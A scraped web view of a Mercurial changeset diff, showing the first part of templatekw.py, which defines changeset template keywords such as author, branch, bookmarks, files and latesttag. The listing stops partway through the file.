##// END OF EJS Templates
urlutil: make `paths` class old list of `path`...
marmoute -
r47958:7531cc34 default
parent child Browse files
Show More
@@ -1,1012 +1,1017 b''
1 # templatekw.py - common changeset template keywords
1 # templatekw.py - common changeset template keywords
2 #
2 #
3 # Copyright 2005-2009 Olivia Mackall <olivia@selenic.com>
3 # Copyright 2005-2009 Olivia Mackall <olivia@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 from .i18n import _
10 from .i18n import _
11 from .node import (
11 from .node import (
12 hex,
12 hex,
13 wdirrev,
13 wdirrev,
14 )
14 )
15
15
16 from . import (
16 from . import (
17 diffutil,
17 diffutil,
18 encoding,
18 encoding,
19 error,
19 error,
20 hbisect,
20 hbisect,
21 i18n,
21 i18n,
22 obsutil,
22 obsutil,
23 patch,
23 patch,
24 pycompat,
24 pycompat,
25 registrar,
25 registrar,
26 scmutil,
26 scmutil,
27 templateutil,
27 templateutil,
28 util,
28 util,
29 )
29 )
30 from .utils import (
30 from .utils import (
31 stringutil,
31 stringutil,
32 urlutil,
32 urlutil,
33 )
33 )
34
34
35 _hybrid = templateutil.hybrid
35 _hybrid = templateutil.hybrid
36 hybriddict = templateutil.hybriddict
36 hybriddict = templateutil.hybriddict
37 hybridlist = templateutil.hybridlist
37 hybridlist = templateutil.hybridlist
38 compatdict = templateutil.compatdict
38 compatdict = templateutil.compatdict
39 compatlist = templateutil.compatlist
39 compatlist = templateutil.compatlist
40 _showcompatlist = templateutil._showcompatlist
40 _showcompatlist = templateutil._showcompatlist
41
41
42
42
43 def getlatesttags(context, mapping, pattern=None):
43 def getlatesttags(context, mapping, pattern=None):
44 '''return date, distance and name for the latest tag of rev'''
44 '''return date, distance and name for the latest tag of rev'''
45 repo = context.resource(mapping, b'repo')
45 repo = context.resource(mapping, b'repo')
46 ctx = context.resource(mapping, b'ctx')
46 ctx = context.resource(mapping, b'ctx')
47 cache = context.resource(mapping, b'cache')
47 cache = context.resource(mapping, b'cache')
48
48
49 cachename = b'latesttags'
49 cachename = b'latesttags'
50 if pattern is not None:
50 if pattern is not None:
51 cachename += b'-' + pattern
51 cachename += b'-' + pattern
52 match = stringutil.stringmatcher(pattern)[2]
52 match = stringutil.stringmatcher(pattern)[2]
53 else:
53 else:
54 match = util.always
54 match = util.always
55
55
56 if cachename not in cache:
56 if cachename not in cache:
57 # Cache mapping from rev to a tuple with tag date, tag
57 # Cache mapping from rev to a tuple with tag date, tag
58 # distance and tag name
58 # distance and tag name
59 cache[cachename] = {-1: (0, 0, [b'null'])}
59 cache[cachename] = {-1: (0, 0, [b'null'])}
60 latesttags = cache[cachename]
60 latesttags = cache[cachename]
61
61
62 rev = ctx.rev()
62 rev = ctx.rev()
63 todo = [rev]
63 todo = [rev]
64 while todo:
64 while todo:
65 rev = todo.pop()
65 rev = todo.pop()
66 if rev in latesttags:
66 if rev in latesttags:
67 continue
67 continue
68 ctx = repo[rev]
68 ctx = repo[rev]
69 tags = [
69 tags = [
70 t
70 t
71 for t in ctx.tags()
71 for t in ctx.tags()
72 if (repo.tagtype(t) and repo.tagtype(t) != b'local' and match(t))
72 if (repo.tagtype(t) and repo.tagtype(t) != b'local' and match(t))
73 ]
73 ]
74 if tags:
74 if tags:
75 latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
75 latesttags[rev] = ctx.date()[0], 0, [t for t in sorted(tags)]
76 continue
76 continue
77 try:
77 try:
78 ptags = [latesttags[p.rev()] for p in ctx.parents()]
78 ptags = [latesttags[p.rev()] for p in ctx.parents()]
79 if len(ptags) > 1:
79 if len(ptags) > 1:
80 if ptags[0][2] == ptags[1][2]:
80 if ptags[0][2] == ptags[1][2]:
81 # The tuples are laid out so the right one can be found by
81 # The tuples are laid out so the right one can be found by
82 # comparison in this case.
82 # comparison in this case.
83 pdate, pdist, ptag = max(ptags)
83 pdate, pdist, ptag = max(ptags)
84 else:
84 else:
85
85
86 def key(x):
86 def key(x):
87 tag = x[2][0]
87 tag = x[2][0]
88 if ctx.rev() is None:
88 if ctx.rev() is None:
89 # only() doesn't support wdir
89 # only() doesn't support wdir
90 prevs = [c.rev() for c in ctx.parents()]
90 prevs = [c.rev() for c in ctx.parents()]
91 changes = repo.revs(b'only(%ld, %s)', prevs, tag)
91 changes = repo.revs(b'only(%ld, %s)', prevs, tag)
92 changessincetag = len(changes) + 1
92 changessincetag = len(changes) + 1
93 else:
93 else:
94 changes = repo.revs(b'only(%d, %s)', ctx.rev(), tag)
94 changes = repo.revs(b'only(%d, %s)', ctx.rev(), tag)
95 changessincetag = len(changes)
95 changessincetag = len(changes)
96 # Smallest number of changes since tag wins. Date is
96 # Smallest number of changes since tag wins. Date is
97 # used as tiebreaker.
97 # used as tiebreaker.
98 return [-changessincetag, x[0]]
98 return [-changessincetag, x[0]]
99
99
100 pdate, pdist, ptag = max(ptags, key=key)
100 pdate, pdist, ptag = max(ptags, key=key)
101 else:
101 else:
102 pdate, pdist, ptag = ptags[0]
102 pdate, pdist, ptag = ptags[0]
103 except KeyError:
103 except KeyError:
104 # Cache miss - recurse
104 # Cache miss - recurse
105 todo.append(rev)
105 todo.append(rev)
106 todo.extend(p.rev() for p in ctx.parents())
106 todo.extend(p.rev() for p in ctx.parents())
107 continue
107 continue
108 latesttags[rev] = pdate, pdist + 1, ptag
108 latesttags[rev] = pdate, pdist + 1, ptag
109 return latesttags[rev]
109 return latesttags[rev]
110
110
111
111
112 def getlogcolumns():
112 def getlogcolumns():
113 """Return a dict of log column labels"""
113 """Return a dict of log column labels"""
114 _ = pycompat.identity # temporarily disable gettext
114 _ = pycompat.identity # temporarily disable gettext
115 # i18n: column positioning for "hg log"
115 # i18n: column positioning for "hg log"
116 columns = _(
116 columns = _(
117 b'bookmark: %s\n'
117 b'bookmark: %s\n'
118 b'branch: %s\n'
118 b'branch: %s\n'
119 b'changeset: %s\n'
119 b'changeset: %s\n'
120 b'copies: %s\n'
120 b'copies: %s\n'
121 b'date: %s\n'
121 b'date: %s\n'
122 b'extra: %s=%s\n'
122 b'extra: %s=%s\n'
123 b'files+: %s\n'
123 b'files+: %s\n'
124 b'files-: %s\n'
124 b'files-: %s\n'
125 b'files: %s\n'
125 b'files: %s\n'
126 b'instability: %s\n'
126 b'instability: %s\n'
127 b'manifest: %s\n'
127 b'manifest: %s\n'
128 b'obsolete: %s\n'
128 b'obsolete: %s\n'
129 b'parent: %s\n'
129 b'parent: %s\n'
130 b'phase: %s\n'
130 b'phase: %s\n'
131 b'summary: %s\n'
131 b'summary: %s\n'
132 b'tag: %s\n'
132 b'tag: %s\n'
133 b'user: %s\n'
133 b'user: %s\n'
134 )
134 )
135 return dict(
135 return dict(
136 zip(
136 zip(
137 [s.split(b':', 1)[0] for s in columns.splitlines()],
137 [s.split(b':', 1)[0] for s in columns.splitlines()],
138 i18n._(columns).splitlines(True),
138 i18n._(columns).splitlines(True),
139 )
139 )
140 )
140 )
141
141
142
142
143 # basic internal templates
143 # basic internal templates
144 _changeidtmpl = b'{rev}:{node|formatnode}'
144 _changeidtmpl = b'{rev}:{node|formatnode}'
145
145
146 # default templates internally used for rendering of lists
146 # default templates internally used for rendering of lists
147 defaulttempl = {
147 defaulttempl = {
148 b'parent': _changeidtmpl + b' ',
148 b'parent': _changeidtmpl + b' ',
149 b'manifest': _changeidtmpl,
149 b'manifest': _changeidtmpl,
150 b'file_copy': b'{name} ({source})',
150 b'file_copy': b'{name} ({source})',
151 b'envvar': b'{key}={value}',
151 b'envvar': b'{key}={value}',
152 b'extra': b'{key}={value|stringescape}',
152 b'extra': b'{key}={value|stringescape}',
153 }
153 }
154 # filecopy is preserved for compatibility reasons
154 # filecopy is preserved for compatibility reasons
155 defaulttempl[b'filecopy'] = defaulttempl[b'file_copy']
155 defaulttempl[b'filecopy'] = defaulttempl[b'file_copy']
156
156
157 # keywords are callables (see registrar.templatekeyword for details)
157 # keywords are callables (see registrar.templatekeyword for details)
158 keywords = {}
158 keywords = {}
159 templatekeyword = registrar.templatekeyword(keywords)
159 templatekeyword = registrar.templatekeyword(keywords)
160
160
161
161
162 @templatekeyword(b'author', requires={b'ctx'})
162 @templatekeyword(b'author', requires={b'ctx'})
163 def showauthor(context, mapping):
163 def showauthor(context, mapping):
164 """Alias for ``{user}``"""
164 """Alias for ``{user}``"""
165 return showuser(context, mapping)
165 return showuser(context, mapping)
166
166
167
167
168 @templatekeyword(b'bisect', requires={b'repo', b'ctx'})
168 @templatekeyword(b'bisect', requires={b'repo', b'ctx'})
169 def showbisect(context, mapping):
169 def showbisect(context, mapping):
170 """String. The changeset bisection status."""
170 """String. The changeset bisection status."""
171 repo = context.resource(mapping, b'repo')
171 repo = context.resource(mapping, b'repo')
172 ctx = context.resource(mapping, b'ctx')
172 ctx = context.resource(mapping, b'ctx')
173 return hbisect.label(repo, ctx.node())
173 return hbisect.label(repo, ctx.node())
174
174
175
175
176 @templatekeyword(b'branch', requires={b'ctx'})
176 @templatekeyword(b'branch', requires={b'ctx'})
177 def showbranch(context, mapping):
177 def showbranch(context, mapping):
178 """String. The name of the branch on which the changeset was
178 """String. The name of the branch on which the changeset was
179 committed.
179 committed.
180 """
180 """
181 ctx = context.resource(mapping, b'ctx')
181 ctx = context.resource(mapping, b'ctx')
182 return ctx.branch()
182 return ctx.branch()
183
183
184
184
185 @templatekeyword(b'branches', requires={b'ctx'})
185 @templatekeyword(b'branches', requires={b'ctx'})
186 def showbranches(context, mapping):
186 def showbranches(context, mapping):
187 """List of strings. The name of the branch on which the
187 """List of strings. The name of the branch on which the
188 changeset was committed. Will be empty if the branch name was
188 changeset was committed. Will be empty if the branch name was
189 default. (DEPRECATED)
189 default. (DEPRECATED)
190 """
190 """
191 ctx = context.resource(mapping, b'ctx')
191 ctx = context.resource(mapping, b'ctx')
192 branch = ctx.branch()
192 branch = ctx.branch()
193 if branch != b'default':
193 if branch != b'default':
194 return compatlist(
194 return compatlist(
195 context, mapping, b'branch', [branch], plural=b'branches'
195 context, mapping, b'branch', [branch], plural=b'branches'
196 )
196 )
197 return compatlist(context, mapping, b'branch', [], plural=b'branches')
197 return compatlist(context, mapping, b'branch', [], plural=b'branches')
198
198
199
199
200 @templatekeyword(b'bookmarks', requires={b'repo', b'ctx'})
200 @templatekeyword(b'bookmarks', requires={b'repo', b'ctx'})
201 def showbookmarks(context, mapping):
201 def showbookmarks(context, mapping):
202 """List of strings. Any bookmarks associated with the
202 """List of strings. Any bookmarks associated with the
203 changeset. Also sets 'active', the name of the active bookmark.
203 changeset. Also sets 'active', the name of the active bookmark.
204 """
204 """
205 repo = context.resource(mapping, b'repo')
205 repo = context.resource(mapping, b'repo')
206 ctx = context.resource(mapping, b'ctx')
206 ctx = context.resource(mapping, b'ctx')
207 bookmarks = ctx.bookmarks()
207 bookmarks = ctx.bookmarks()
208 active = repo._activebookmark
208 active = repo._activebookmark
209 makemap = lambda v: {b'bookmark': v, b'active': active, b'current': active}
209 makemap = lambda v: {b'bookmark': v, b'active': active, b'current': active}
210 f = _showcompatlist(context, mapping, b'bookmark', bookmarks)
210 f = _showcompatlist(context, mapping, b'bookmark', bookmarks)
211 return _hybrid(f, bookmarks, makemap, pycompat.identity)
211 return _hybrid(f, bookmarks, makemap, pycompat.identity)
212
212
213
213
214 @templatekeyword(b'children', requires={b'ctx'})
214 @templatekeyword(b'children', requires={b'ctx'})
215 def showchildren(context, mapping):
215 def showchildren(context, mapping):
216 """List of strings. The children of the changeset."""
216 """List of strings. The children of the changeset."""
217 ctx = context.resource(mapping, b'ctx')
217 ctx = context.resource(mapping, b'ctx')
218 childrevs = [b'%d:%s' % (cctx.rev(), cctx) for cctx in ctx.children()]
218 childrevs = [b'%d:%s' % (cctx.rev(), cctx) for cctx in ctx.children()]
219 return compatlist(
219 return compatlist(
220 context, mapping, b'children', childrevs, element=b'child'
220 context, mapping, b'children', childrevs, element=b'child'
221 )
221 )
222
222
223
223
224 # Deprecated, but kept alive for help generation a purpose.
224 # Deprecated, but kept alive for help generation a purpose.
225 @templatekeyword(b'currentbookmark', requires={b'repo', b'ctx'})
225 @templatekeyword(b'currentbookmark', requires={b'repo', b'ctx'})
226 def showcurrentbookmark(context, mapping):
226 def showcurrentbookmark(context, mapping):
227 """String. The active bookmark, if it is associated with the changeset.
227 """String. The active bookmark, if it is associated with the changeset.
228 (DEPRECATED)"""
228 (DEPRECATED)"""
229 return showactivebookmark(context, mapping)
229 return showactivebookmark(context, mapping)
230
230
231
231
232 @templatekeyword(b'activebookmark', requires={b'repo', b'ctx'})
232 @templatekeyword(b'activebookmark', requires={b'repo', b'ctx'})
233 def showactivebookmark(context, mapping):
233 def showactivebookmark(context, mapping):
234 """String. The active bookmark, if it is associated with the changeset."""
234 """String. The active bookmark, if it is associated with the changeset."""
235 repo = context.resource(mapping, b'repo')
235 repo = context.resource(mapping, b'repo')
236 ctx = context.resource(mapping, b'ctx')
236 ctx = context.resource(mapping, b'ctx')
237 active = repo._activebookmark
237 active = repo._activebookmark
238 if active and active in ctx.bookmarks():
238 if active and active in ctx.bookmarks():
239 return active
239 return active
240 return b''
240 return b''
241
241
242
242
243 @templatekeyword(b'date', requires={b'ctx'})
243 @templatekeyword(b'date', requires={b'ctx'})
244 def showdate(context, mapping):
244 def showdate(context, mapping):
245 """Date information. The date when the changeset was committed."""
245 """Date information. The date when the changeset was committed."""
246 ctx = context.resource(mapping, b'ctx')
246 ctx = context.resource(mapping, b'ctx')
247 # the default string format is '<float(unixtime)><tzoffset>' because
247 # the default string format is '<float(unixtime)><tzoffset>' because
248 # python-hglib splits date at decimal separator.
248 # python-hglib splits date at decimal separator.
249 return templateutil.date(ctx.date(), showfmt=b'%d.0%d')
249 return templateutil.date(ctx.date(), showfmt=b'%d.0%d')
250
250
251
251
252 @templatekeyword(b'desc', requires={b'ctx'})
252 @templatekeyword(b'desc', requires={b'ctx'})
253 def showdescription(context, mapping):
253 def showdescription(context, mapping):
254 """String. The text of the changeset description."""
254 """String. The text of the changeset description."""
255 ctx = context.resource(mapping, b'ctx')
255 ctx = context.resource(mapping, b'ctx')
256 s = ctx.description()
256 s = ctx.description()
257 if isinstance(s, encoding.localstr):
257 if isinstance(s, encoding.localstr):
258 # try hard to preserve utf-8 bytes
258 # try hard to preserve utf-8 bytes
259 return encoding.tolocal(encoding.fromlocal(s).strip())
259 return encoding.tolocal(encoding.fromlocal(s).strip())
260 elif isinstance(s, encoding.safelocalstr):
260 elif isinstance(s, encoding.safelocalstr):
261 return encoding.safelocalstr(s.strip())
261 return encoding.safelocalstr(s.strip())
262 else:
262 else:
263 return s.strip()
263 return s.strip()
264
264
265
265
266 @templatekeyword(b'diffstat', requires={b'ui', b'ctx'})
266 @templatekeyword(b'diffstat', requires={b'ui', b'ctx'})
267 def showdiffstat(context, mapping):
267 def showdiffstat(context, mapping):
268 """String. Statistics of changes with the following format:
268 """String. Statistics of changes with the following format:
269 "modified files: +added/-removed lines"
269 "modified files: +added/-removed lines"
270 """
270 """
271 ui = context.resource(mapping, b'ui')
271 ui = context.resource(mapping, b'ui')
272 ctx = context.resource(mapping, b'ctx')
272 ctx = context.resource(mapping, b'ctx')
273 diffopts = diffutil.diffallopts(ui, {b'noprefix': False})
273 diffopts = diffutil.diffallopts(ui, {b'noprefix': False})
274 diff = ctx.diff(opts=diffopts)
274 diff = ctx.diff(opts=diffopts)
275 stats = patch.diffstatdata(util.iterlines(diff))
275 stats = patch.diffstatdata(util.iterlines(diff))
276 maxname, maxtotal, adds, removes, binary = patch.diffstatsum(stats)
276 maxname, maxtotal, adds, removes, binary = patch.diffstatsum(stats)
277 return b'%d: +%d/-%d' % (len(stats), adds, removes)
277 return b'%d: +%d/-%d' % (len(stats), adds, removes)
278
278
279
279
280 @templatekeyword(b'envvars', requires={b'ui'})
280 @templatekeyword(b'envvars', requires={b'ui'})
281 def showenvvars(context, mapping):
281 def showenvvars(context, mapping):
282 """A dictionary of environment variables. (EXPERIMENTAL)"""
282 """A dictionary of environment variables. (EXPERIMENTAL)"""
283 ui = context.resource(mapping, b'ui')
283 ui = context.resource(mapping, b'ui')
284 env = ui.exportableenviron()
284 env = ui.exportableenviron()
285 env = util.sortdict((k, env[k]) for k in sorted(env))
285 env = util.sortdict((k, env[k]) for k in sorted(env))
286 return compatdict(context, mapping, b'envvar', env, plural=b'envvars')
286 return compatdict(context, mapping, b'envvar', env, plural=b'envvars')
287
287
288
288
289 @templatekeyword(b'extras', requires={b'ctx'})
289 @templatekeyword(b'extras', requires={b'ctx'})
290 def showextras(context, mapping):
290 def showextras(context, mapping):
291 """List of dicts with key, value entries of the 'extras'
291 """List of dicts with key, value entries of the 'extras'
292 field of this changeset."""
292 field of this changeset."""
293 ctx = context.resource(mapping, b'ctx')
293 ctx = context.resource(mapping, b'ctx')
294 extras = ctx.extra()
294 extras = ctx.extra()
295 extras = util.sortdict((k, extras[k]) for k in sorted(extras))
295 extras = util.sortdict((k, extras[k]) for k in sorted(extras))
296 makemap = lambda k: {b'key': k, b'value': extras[k]}
296 makemap = lambda k: {b'key': k, b'value': extras[k]}
297 c = [makemap(k) for k in extras]
297 c = [makemap(k) for k in extras]
298 f = _showcompatlist(context, mapping, b'extra', c, plural=b'extras')
298 f = _showcompatlist(context, mapping, b'extra', c, plural=b'extras')
299 return _hybrid(
299 return _hybrid(
300 f,
300 f,
301 extras,
301 extras,
302 makemap,
302 makemap,
303 lambda k: b'%s=%s' % (k, stringutil.escapestr(extras[k])),
303 lambda k: b'%s=%s' % (k, stringutil.escapestr(extras[k])),
304 )
304 )
305
305
306
306
307 def _getfilestatus(context, mapping, listall=False):
307 def _getfilestatus(context, mapping, listall=False):
308 ctx = context.resource(mapping, b'ctx')
308 ctx = context.resource(mapping, b'ctx')
309 revcache = context.resource(mapping, b'revcache')
309 revcache = context.resource(mapping, b'revcache')
310 if b'filestatus' not in revcache or revcache[b'filestatusall'] < listall:
310 if b'filestatus' not in revcache or revcache[b'filestatusall'] < listall:
311 stat = ctx.p1().status(
311 stat = ctx.p1().status(
312 ctx, listignored=listall, listclean=listall, listunknown=listall
312 ctx, listignored=listall, listclean=listall, listunknown=listall
313 )
313 )
314 revcache[b'filestatus'] = stat
314 revcache[b'filestatus'] = stat
315 revcache[b'filestatusall'] = listall
315 revcache[b'filestatusall'] = listall
316 return revcache[b'filestatus']
316 return revcache[b'filestatus']
317
317
318
318
319 def _getfilestatusmap(context, mapping, listall=False):
319 def _getfilestatusmap(context, mapping, listall=False):
320 revcache = context.resource(mapping, b'revcache')
320 revcache = context.resource(mapping, b'revcache')
321 if b'filestatusmap' not in revcache or revcache[b'filestatusall'] < listall:
321 if b'filestatusmap' not in revcache or revcache[b'filestatusall'] < listall:
322 stat = _getfilestatus(context, mapping, listall=listall)
322 stat = _getfilestatus(context, mapping, listall=listall)
323 revcache[b'filestatusmap'] = statmap = {}
323 revcache[b'filestatusmap'] = statmap = {}
324 for char, files in zip(pycompat.iterbytestr(b'MAR!?IC'), stat):
324 for char, files in zip(pycompat.iterbytestr(b'MAR!?IC'), stat):
325 statmap.update((f, char) for f in files)
325 statmap.update((f, char) for f in files)
326 return revcache[b'filestatusmap'] # {path: statchar}
326 return revcache[b'filestatusmap'] # {path: statchar}
327
327
328
328
329 @templatekeyword(
329 @templatekeyword(
330 b'file_copies', requires={b'repo', b'ctx', b'cache', b'revcache'}
330 b'file_copies', requires={b'repo', b'ctx', b'cache', b'revcache'}
331 )
331 )
332 def showfilecopies(context, mapping):
332 def showfilecopies(context, mapping):
333 """List of strings. Files copied in this changeset with
333 """List of strings. Files copied in this changeset with
334 their sources.
334 their sources.
335 """
335 """
336 repo = context.resource(mapping, b'repo')
336 repo = context.resource(mapping, b'repo')
337 ctx = context.resource(mapping, b'ctx')
337 ctx = context.resource(mapping, b'ctx')
338 cache = context.resource(mapping, b'cache')
338 cache = context.resource(mapping, b'cache')
339 copies = context.resource(mapping, b'revcache').get(b'copies')
339 copies = context.resource(mapping, b'revcache').get(b'copies')
340 if copies is None:
340 if copies is None:
341 if b'getcopies' not in cache:
341 if b'getcopies' not in cache:
342 cache[b'getcopies'] = scmutil.getcopiesfn(repo)
342 cache[b'getcopies'] = scmutil.getcopiesfn(repo)
343 getcopies = cache[b'getcopies']
343 getcopies = cache[b'getcopies']
344 copies = getcopies(ctx)
344 copies = getcopies(ctx)
345 return templateutil.compatfilecopiesdict(
345 return templateutil.compatfilecopiesdict(
346 context, mapping, b'file_copy', copies
346 context, mapping, b'file_copy', copies
347 )
347 )
348
348
349
349
350 # showfilecopiesswitch() displays file copies only if copy records are
350 # showfilecopiesswitch() displays file copies only if copy records are
351 # provided before calling the templater, usually with a --copies
351 # provided before calling the templater, usually with a --copies
352 # command line switch.
352 # command line switch.
353 @templatekeyword(b'file_copies_switch', requires={b'revcache'})
353 @templatekeyword(b'file_copies_switch', requires={b'revcache'})
354 def showfilecopiesswitch(context, mapping):
354 def showfilecopiesswitch(context, mapping):
355 """List of strings. Like "file_copies" but displayed
355 """List of strings. Like "file_copies" but displayed
356 only if the --copied switch is set.
356 only if the --copied switch is set.
357 """
357 """
358 copies = context.resource(mapping, b'revcache').get(b'copies') or []
358 copies = context.resource(mapping, b'revcache').get(b'copies') or []
359 return templateutil.compatfilecopiesdict(
359 return templateutil.compatfilecopiesdict(
360 context, mapping, b'file_copy', copies
360 context, mapping, b'file_copy', copies
361 )
361 )
362
362
363
363
364 @templatekeyword(b'file_adds', requires={b'ctx', b'revcache'})
364 @templatekeyword(b'file_adds', requires={b'ctx', b'revcache'})
365 def showfileadds(context, mapping):
365 def showfileadds(context, mapping):
366 """List of strings. Files added by this changeset."""
366 """List of strings. Files added by this changeset."""
367 ctx = context.resource(mapping, b'ctx')
367 ctx = context.resource(mapping, b'ctx')
368 return templateutil.compatfileslist(
368 return templateutil.compatfileslist(
369 context, mapping, b'file_add', ctx.filesadded()
369 context, mapping, b'file_add', ctx.filesadded()
370 )
370 )
371
371
372
372
373 @templatekeyword(b'file_dels', requires={b'ctx', b'revcache'})
373 @templatekeyword(b'file_dels', requires={b'ctx', b'revcache'})
374 def showfiledels(context, mapping):
374 def showfiledels(context, mapping):
375 """List of strings. Files removed by this changeset."""
375 """List of strings. Files removed by this changeset."""
376 ctx = context.resource(mapping, b'ctx')
376 ctx = context.resource(mapping, b'ctx')
377 return templateutil.compatfileslist(
377 return templateutil.compatfileslist(
378 context, mapping, b'file_del', ctx.filesremoved()
378 context, mapping, b'file_del', ctx.filesremoved()
379 )
379 )
380
380
381
381
382 @templatekeyword(b'file_mods', requires={b'ctx', b'revcache'})
382 @templatekeyword(b'file_mods', requires={b'ctx', b'revcache'})
383 def showfilemods(context, mapping):
383 def showfilemods(context, mapping):
384 """List of strings. Files modified by this changeset."""
384 """List of strings. Files modified by this changeset."""
385 ctx = context.resource(mapping, b'ctx')
385 ctx = context.resource(mapping, b'ctx')
386 return templateutil.compatfileslist(
386 return templateutil.compatfileslist(
387 context, mapping, b'file_mod', ctx.filesmodified()
387 context, mapping, b'file_mod', ctx.filesmodified()
388 )
388 )
389
389
390
390
391 @templatekeyword(b'files', requires={b'ctx'})
391 @templatekeyword(b'files', requires={b'ctx'})
392 def showfiles(context, mapping):
392 def showfiles(context, mapping):
393 """List of strings. All files modified, added, or removed by this
393 """List of strings. All files modified, added, or removed by this
394 changeset.
394 changeset.
395 """
395 """
396 ctx = context.resource(mapping, b'ctx')
396 ctx = context.resource(mapping, b'ctx')
397 return templateutil.compatfileslist(context, mapping, b'file', ctx.files())
397 return templateutil.compatfileslist(context, mapping, b'file', ctx.files())
398
398
399
399
400 @templatekeyword(b'graphnode', requires={b'repo', b'ctx', b'cache'})
400 @templatekeyword(b'graphnode', requires={b'repo', b'ctx', b'cache'})
401 def showgraphnode(context, mapping):
401 def showgraphnode(context, mapping):
402 """String. The character representing the changeset node in an ASCII
402 """String. The character representing the changeset node in an ASCII
403 revision graph."""
403 revision graph."""
404 repo = context.resource(mapping, b'repo')
404 repo = context.resource(mapping, b'repo')
405 ctx = context.resource(mapping, b'ctx')
405 ctx = context.resource(mapping, b'ctx')
406 cache = context.resource(mapping, b'cache')
406 cache = context.resource(mapping, b'cache')
407 return getgraphnode(repo, ctx, cache)
407 return getgraphnode(repo, ctx, cache)
408
408
409
409
410 def getgraphnode(repo, ctx, cache):
410 def getgraphnode(repo, ctx, cache):
411 return getgraphnodecurrent(repo, ctx, cache) or getgraphnodesymbol(ctx)
411 return getgraphnodecurrent(repo, ctx, cache) or getgraphnodesymbol(ctx)
412
412
413
413
414 def getgraphnodecurrent(repo, ctx, cache):
414 def getgraphnodecurrent(repo, ctx, cache):
415 wpnodes = repo.dirstate.parents()
415 wpnodes = repo.dirstate.parents()
416 if wpnodes[1] == repo.nullid:
416 if wpnodes[1] == repo.nullid:
417 wpnodes = wpnodes[:1]
417 wpnodes = wpnodes[:1]
418 if ctx.node() in wpnodes:
418 if ctx.node() in wpnodes:
419 return b'@'
419 return b'@'
420 else:
420 else:
421 merge_nodes = cache.get(b'merge_nodes')
421 merge_nodes = cache.get(b'merge_nodes')
422 if merge_nodes is None:
422 if merge_nodes is None:
423 from . import mergestate as mergestatemod
423 from . import mergestate as mergestatemod
424
424
425 mergestate = mergestatemod.mergestate.read(repo)
425 mergestate = mergestatemod.mergestate.read(repo)
426 if mergestate.unresolvedcount():
426 if mergestate.unresolvedcount():
427 merge_nodes = (mergestate.local, mergestate.other)
427 merge_nodes = (mergestate.local, mergestate.other)
428 else:
428 else:
429 merge_nodes = ()
429 merge_nodes = ()
430 cache[b'merge_nodes'] = merge_nodes
430 cache[b'merge_nodes'] = merge_nodes
431
431
432 if ctx.node() in merge_nodes:
432 if ctx.node() in merge_nodes:
433 return b'%'
433 return b'%'
434 return b''
434 return b''
435
435
436
436
437 def getgraphnodesymbol(ctx):
437 def getgraphnodesymbol(ctx):
438 if ctx.obsolete():
438 if ctx.obsolete():
439 return b'x'
439 return b'x'
440 elif ctx.isunstable():
440 elif ctx.isunstable():
441 return b'*'
441 return b'*'
442 elif ctx.closesbranch():
442 elif ctx.closesbranch():
443 return b'_'
443 return b'_'
444 else:
444 else:
445 return b'o'
445 return b'o'
446
446
447
447
448 @templatekeyword(b'graphwidth', requires=())
448 @templatekeyword(b'graphwidth', requires=())
449 def showgraphwidth(context, mapping):
449 def showgraphwidth(context, mapping):
450 """Integer. The width of the graph drawn by 'log --graph' or zero."""
450 """Integer. The width of the graph drawn by 'log --graph' or zero."""
451 # just hosts documentation; should be overridden by template mapping
451 # just hosts documentation; should be overridden by template mapping
452 return 0
452 return 0
453
453
454
454
455 @templatekeyword(b'index', requires=())
455 @templatekeyword(b'index', requires=())
456 def showindex(context, mapping):
456 def showindex(context, mapping):
457 """Integer. The current iteration of the loop. (0 indexed)"""
457 """Integer. The current iteration of the loop. (0 indexed)"""
458 # just hosts documentation; should be overridden by template mapping
458 # just hosts documentation; should be overridden by template mapping
459 raise error.Abort(_(b"can't use index in this context"))
459 raise error.Abort(_(b"can't use index in this context"))
460
460
461
461
462 @templatekeyword(b'latesttag', requires={b'repo', b'ctx', b'cache'})
462 @templatekeyword(b'latesttag', requires={b'repo', b'ctx', b'cache'})
463 def showlatesttag(context, mapping):
463 def showlatesttag(context, mapping):
464 """List of strings. The global tags on the most recent globally
464 """List of strings. The global tags on the most recent globally
465 tagged ancestor of this changeset. If no such tags exist, the list
465 tagged ancestor of this changeset. If no such tags exist, the list
466 consists of the single string "null".
466 consists of the single string "null".
467 """
467 """
468 return showlatesttags(context, mapping, None)
468 return showlatesttags(context, mapping, None)
469
469
470
470
471 def showlatesttags(context, mapping, pattern):
471 def showlatesttags(context, mapping, pattern):
472 """helper method for the latesttag keyword and function"""
472 """helper method for the latesttag keyword and function"""
473 latesttags = getlatesttags(context, mapping, pattern)
473 latesttags = getlatesttags(context, mapping, pattern)
474
474
475 # latesttag[0] is an implementation detail for sorting csets on different
475 # latesttag[0] is an implementation detail for sorting csets on different
476 # branches in a stable manner- it is the date the tagged cset was created,
476 # branches in a stable manner- it is the date the tagged cset was created,
477 # not the date the tag was created. Therefore it isn't made visible here.
477 # not the date the tag was created. Therefore it isn't made visible here.
478 makemap = lambda v: {
478 makemap = lambda v: {
479 b'changes': _showchangessincetag,
479 b'changes': _showchangessincetag,
480 b'distance': latesttags[1],
480 b'distance': latesttags[1],
481 b'latesttag': v, # BC with {latesttag % '{latesttag}'}
481 b'latesttag': v, # BC with {latesttag % '{latesttag}'}
482 b'tag': v,
482 b'tag': v,
483 }
483 }
484
484
485 tags = latesttags[2]
485 tags = latesttags[2]
486 f = _showcompatlist(context, mapping, b'latesttag', tags, separator=b':')
486 f = _showcompatlist(context, mapping, b'latesttag', tags, separator=b':')
487 return _hybrid(f, tags, makemap, pycompat.identity)
487 return _hybrid(f, tags, makemap, pycompat.identity)
488
488
489
489
490 @templatekeyword(b'latesttagdistance', requires={b'repo', b'ctx', b'cache'})
490 @templatekeyword(b'latesttagdistance', requires={b'repo', b'ctx', b'cache'})
491 def showlatesttagdistance(context, mapping):
491 def showlatesttagdistance(context, mapping):
492 """Integer. Longest path to the latest tag."""
492 """Integer. Longest path to the latest tag."""
493 return getlatesttags(context, mapping)[1]
493 return getlatesttags(context, mapping)[1]
494
494
495
495
496 @templatekeyword(b'changessincelatesttag', requires={b'repo', b'ctx', b'cache'})
496 @templatekeyword(b'changessincelatesttag', requires={b'repo', b'ctx', b'cache'})
497 def showchangessincelatesttag(context, mapping):
497 def showchangessincelatesttag(context, mapping):
498 """Integer. All ancestors not in the latest tag."""
